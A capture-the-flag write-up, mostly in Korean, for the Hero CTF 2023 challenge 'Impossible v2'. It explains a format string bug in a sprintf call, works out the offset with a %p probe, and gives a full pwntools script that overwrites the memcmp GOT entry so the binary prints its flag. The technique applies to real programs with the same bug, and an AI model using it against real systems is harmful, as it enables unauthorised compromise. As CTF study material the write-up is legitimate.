Hero CTF 2023 - Impossible v2 (fsb)

Your colleague trolls you again by giving you an impossible challenge, betting $200 that, this time, you won’t succeed. Show him that this impossible challenge is in fact easy!
Host : nc static-03.heroctf.fr 5001
Format : Hero{flag}
Author : SoEasY
easy

  • [41 solves / 428 points]

Analysis

아래처럼 fsb가 발생한다. (buf가 우리의 입력값이다.)

1
sprintf(message, buf);

message를 출력해주는 기능이 없기 때문에 뭔가 leak할수가 없다.

1
2
3
payload = b''
payload += b'a' * 8
payload += b'_%p' * 8

위 paylaod로 입력을 보내고 디버거 상으로 message를 확인하면 아래와 같이 offset이 7임을 확인할 수 있다.

1
2
gef> x/s 0x000000004040e0
0x4040e0 <message>: "aaaaaaaa_0x21_0x7f30b4e66931_0x14278b1_(nil)_(nil)_0x14276b0_0x6161616161616161_0x255f70255f70255f\n"

fsb가 발생한 후, if (!memcmp(message, expected, 0x10uLL))가 참이면 flag.txt를 출력해준다.

pie도 안걸려있으니 memcmp@gotflag.txt가 출력되는 주소를 덮어줬다. 길이가 충분하지 않으니 2바이트만 덮어주었다.

Solve

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context.arch = 'amd64'
#context.log_level = 'DEBUG'

e = ELF('./impossible_v2')
# p = process('./impossible_v2')
p = remote('static-03.heroctf.fr', 5001)

# offset 7
# payload = b''
# payload += b'a' * 8
# payload += b'_%p' * 8

payload = fmtstr_payload(7, {e.got['memcmp'] : p16(0x14B7)})

pause()
p.sendlineafter('e:', payload)

p.interactive()
# der $_got()